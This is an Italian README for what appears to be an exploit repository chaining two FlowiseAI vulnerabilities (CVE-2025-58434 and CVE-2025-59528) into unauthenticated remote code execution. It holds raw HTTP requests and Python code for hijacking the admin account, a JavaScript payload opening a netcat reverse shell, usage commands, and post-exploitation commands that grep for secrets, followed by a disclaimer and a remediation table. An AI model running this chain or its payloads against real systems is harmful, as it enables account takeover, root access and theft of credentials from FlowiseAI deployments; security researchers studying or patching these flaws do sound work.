
Catena di attacco critica non autenticata che porta a RCE completa in FlowiseAI (CVE-2025-58434 + CVE-2025-59528)
Acquisizione account non autenticata in catena con esecuzione di codice remoto su FlowiseAI
<= 3.0.5.
Compromissione completa del contenitore in meno di 5 secondi, zero credenziali richieste.
Sinistra: pagina di login di FlowiseAI — Destra: shell root tramite CVE-2025-59528 · uid=0(root)
Questo exploit collega due vulnerabilità critiche indipendenti in un singolo attacco completamente automatizzato. Nessuna delle due vulnerabilità da sola garantisce una compromissione totale, ma insieme formano una catena di attacco completa da zero credenziali a una shell root all'interno di un contenitore Docker.
[Nessuna credenziale]
│
▼
① Abusa dell'endpoint forgot-password (nessuna autenticazione richiesta)
│ → Il server risponde con il token di reset della vittima in chiaro
▼
② Invia il token all'endpoint reset-password
│ → L'attaccante controlla la password dell'amministratore
▼
③ Login + recupera la chiave API Bearer
│ → Sessione autenticata completa stabilita
▼
④ Invia il payload JavaScript tramite il nodo customMCP
│ → Il server lo valuta tramite il costruttore Function()
▼
[Shell root all'interno del contenitore Docker]
Cosa lo rende zero-interazione: in nessun momento la vittima riceve un'email, vede un avviso di login o attiva alcun evento visibile. L'attacco è interamente lato server.
CVSS 3.1: 9.8 Critico — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Interessati: FlowiseAI <= 3.0.5 (cloud + self-hosted)
Advisory: GHSA-wgpv-6j63-x5ph
FlowiseAI ha un concetto di richieste "interne" — chiamate API effettuate tra i propri servizi — identificate dall'intestazione HTTP x-request-from: internal. L'endpoint /api/v1/account/forgot-password utilizza questa intestazione per saltare completamente l'autenticazione e restituire una risposta diversa e più dettagliata rispetto a quella per chiamanti esterni.
Il problema: questa intestazione non viene convalidata o limitata in alcun modo. Qualsiasi aggressore su Internet può inviarla. Quando lo fanno, invece di attivare un'email di reset della password, l'API risponde con il record completo dell'utente — incluso un tempToken attivo che può essere immediatamente utilizzato per impostare una nuova password.
Normalmente, un flusso di reset della password è simile a:
Utente richiede reset → Server genera token → Token inviato via EMAIL → Utente clicca link → Password modificata
Qui, il server salta completamente il passaggio dell'email e mette il token direttamente nel corpo della risposta HTTP. L'attaccante lo intercetta e passa direttamente alla fase di reset — nessun accesso all'email necessario.
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal
{"user": {"email": "[email protected]"}}
201 — record completo dell'utente esposto{
"user": {
"email": "[email protected]",
"credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
"tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
"tokenExpiry": "2026-04-11T21:37:03.063Z",
"status": "active"
}
}
Il tempToken viene quindi inviato direttamente all'endpoint di reset — nessuna interazione email, nessun CAPTCHA, nessun limite di velocità.

CVSS 3.1: 10.0 Critico — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Interessati: FlowiseAI <= 3.0.5
Advisory: GHSA-3gcm-f6qx-ff7p
FlowiseAI permette agli utenti di definire nodi MCP (Model Context Protocol) personalizzati con la configurazione del server fornita come stringa JSON. Internamente, la piattaforma deve analizzare questa configurazione — e lo fa utilizzando il costruttore Function() di JavaScript, che è funzionalmente equivalente a eval().
La stringa di configurazione raggiunge il sink completamente non sanificata:
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — linea 262
const result = Function('return ' + mcpServerConfig)();
// ↑ input utente non sanificato — esecuzione JS arbitraria
Function() è pericoloso come eval()Function('return ' + code)() fa quanto segue:
code come corpoQuesto dà all'attaccante un contesto di esecuzione JavaScript completo con accesso a process, require, child_process e l'intero runtime Node.js — non una sandbox.
HTTP POST /api/v1/node-load-method/customMCP
└─ body.inputs.mcpServerConfig ← stringa controllata dall'attaccante
└─ substituteVariablesInString() ← nessun filtro, passa attraverso
└─ convertToValidJSONString() ← nessun filtro, passa attraverso
└─ Function('return ' + input)() ← codice arbitrario eseguito qui
({x:(function(){
const cp = process.mainModule.require("child_process");
cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
return 1;
})()})
Perché
mkfifoe non/dev/tcp?
Il contenitore esegue/bin/sh, non/bin/bash./dev/tcpè una funzionalità solo di bash — non esiste nelle shell POSIX standard.mkfifocrea un pipe con nome che funziona in qualsiasi shell POSIX, rendendo la reverse shell portabile tra ambienti container.
L'exploit è strutturato in quattro passaggi sequenziali, ciascuno mappato direttamente a una fase della catena di attacco.
CVE-2025-58434)r1 = session.post(
f"{TARGET}/api/v1/account/forgot-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]
Cosa succede: Il server crede che questa sia una chiamata interna da servizio a servizio a causa dell'intestazione x-request-from: internal. Salta il normale percorso di invio email e restituisce il record completo dell'utente — incluso un token di reset password attivo — direttamente nel corpo della risposta HTTP 201.
Perché funziona: Il controllo dell'intestazione è puramente basato su stringhe senza verifica crittografica. Qualsiasi chiamante può impostarla. Il backend non convalida l'origine della richiesta.
session.post(
f"{TARGET}/api/v1/account/reset-password",
headers={"x-request-from": "internal"},
json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)
Cosa succede: Il token tempToken rubato viene inviato insieme a una nuova password scelta dall'attaccante. Il server convalida il token (che è reale e attivo), conferma che l'email corrisponde e aggiorna l'hash della credenziale — nessuna conferma email, nessun controllo secondario.
Perché funziona: La convalida del token controlla solo che il token esista e non sia scaduto. Non verifica che il chiamante che ha generato il token sia lo stesso che invia il reset. La proprietà non viene mai verificata.
# Login con la password appena impostata
session.post(f"{TARGET}/api/v1/auth/login",
json={"email": EMAIL, "password": NEW_PASS})
# Recupera la chiave API Bearer necessaria per l'endpoint RCE
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]
Cosa succede: Un login normale con la nuova password dell'attaccante stabilisce una sessione di amministrazione completa (basata su cookie). La sessione viene quindi utilizzata per recuperare la chiave API predefinita della piattaforma, necessaria per autenticare le richieste all'endpoint node-load-method utilizzato nel passo 4.
Perché funziona: A questo punto l'attaccante È l'amministratore — possiede le credenziali. La sessione e la chiave API sono emesse legittimamente dal server.
CVE-2025-59528)js_payload = (
'({x:(function(){const cp = process.mainModule.require("child_process"); '
f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
f"{TARGET}/api/v1/node-load-method/customMCP",
headers={"Authorization": f"Bearer {api_key}"},
json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)
Cosa succede: Il payload è una funzione JavaScript auto-invocante (IIFE) mascherata da oggetto JSON compatibile. Quando convertToValidJSONString() lo elabora, il valore finisce dentro Function('return ' + input)() — che lo esegue come JavaScript live con accesso completo al runtime Node.js. child_process.exec() lancia il comando della reverse shell, stabilendo una connessione di ritorno all'ascoltatore dell'attaccante.
Perché il wrapper IIFE? Il pattern Function('return ' + x) si aspetta che l'espressione sia restituibile. Avvolgere il codice malevolo in ({x: (function(){ ... })()}) rende l'intera espressione JavaScript valida che valuta a un oggetto — soddisfacendo il parser mentre esegue il payload come effetto collaterale.
Perché nohup + disown? La richiesta HTTP ha un timeout. Senza scollegare il processo, la shell morirebbe quando la richiesta scade. nohup + disown scollega la reverse shell dal processo Node.js, mantenendola viva indipendentemente.
# 1. Avvia prima il tuo ascoltatore
nc -lvnp 4444
# 2. Esegui la catena di attacco completa
python3 exploit.py -ip <IP_BERSAGLIO> -lhost <TUO_IP> -lport 4444
# 3. Se la password amministratore è già stata resettata in un tentativo precedente
python3 exploit.py -ip <IP_BERSAGLIO> -lhost <TUO_IP> -lport 4444 --skipreset
pip install requests
Una volta ottenuta la shell, il contenitore in genere viene eseguito come root con accesso all'ambiente completo dell'applicazione FlowiseAI:
# Segreti e credenziali
env # Chiavi API, URI DB, credenziali di servizio nelle variabili d'ambiente
cat .env # File di configurazione FlowiseAI — password del database, segreti JWT
# Interni dell'applicazione
ls /app/packages/ # Struttura monorepo — codice sorgente, configurazioni, node_modules
cat /app/packages/server/.env
# Contesto del contenitore
cat /proc/1/cmdline # Quale processo è PID 1 — conferma l'ambiente del contenitore
hostname # ID del contenitore
cat /etc/hosts # Mappa della rete interna — altri servizi raggiungibili
# Candidati per movimento laterale
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"
Questo repository e tutto il codice associato sono pubblicati strettamente a scopo educativo e di ricerca sulla sicurezza autorizzata.
Entrambe le vulnerabilità sono state divulgate pubblicamente e corrette a partire da FlowiseAI 3.0.6. Testare sistemi che non si possiedono o per i quali non si ha esplicita autorizzazione scritta a valutare è illegale secondo la legge applicabile — inclusa ma non limitata al Computer Fraud and Abuse Act (CFAA), al Computer Misuse Act e alla direttiva NIS2 dell'UE.
Gli autori non si assumono alcuna responsabilità per eventuali danni derivanti dall'uso improprio di questo materiale.
0H4K3D · CVE Team
| Proprietà | Dettagli |
|---|
| Zero credenziali richieste | L'attaccante inizia con nient'altro che un IP target |
| Zero interazione della vittima | Niente phishing, niente click, niente ingegneria sociale |
| Nessun limite di velocità | L'endpoint di reset non ha limitazioni — forzabile se necessario |
| Nessun CAPTCHA | Il flusso di reset non ha verifica umana |
| Nessuna conferma email | La modifica della password è immediata, silenziosa, irreversibile |
| Runtime Node.js completo nell'RCE | child_process, filesystem, rete — nessuna sandbox |
| Esegue come root in Docker | Il contenitore viene tipicamente avviato come root, accesso completo al filesystem |
| Colpisce cloud + self-hosted | Qualsiasi distribuzione di <= 3.0.5 è vulnerabile |
| Flag | Descrizione | Richiesto |
|---|
-ip | Indirizzo IP del bersaglio | ✅ |
-lhost | Il tuo IP per il callback della reverse shell | ✅ |
-lport | La tua porta in ascolto | ✅ |
--skipreset | Salta CVE-2025-58434 (fasi 1 e 2) — usa se l'account è già compromesso | ❌ |
| Fix | Priorità |
|---|
Aggiornare a FlowiseAI ≥ 3.0.6 | 🔴 Immediata |
Blocca x-request-from: internal al proxy inverso — non dovrebbe mai arrivare da Internet | 🔴 Immediata |
Limita /api/v1/account/* solo a sessioni autenticate | 🔴 Immediata |
Pulisci mcpServerConfig — non passare mai input utente a Function() o eval() | 🔴 Immediata |
| Aggiungi limitazione di velocità e CAPTCHA a tutti gli endpoint di reset password | 🔴 Immediata |
| Isola l'istanza FlowiseAI da Internet se l'esposizione pubblica non è necessaria | 🟠 Alta |
| Esegui il contenitore come utente non root | 🟠 Alta |
| Abilita il rilevamento di anomalie sugli endpoint di reset password e MCP | 🟡 Media |
Controlla tutti gli endpoint che accettano x-request-from e verifica che non possano essere chiamati esternamente | 🟡 Media |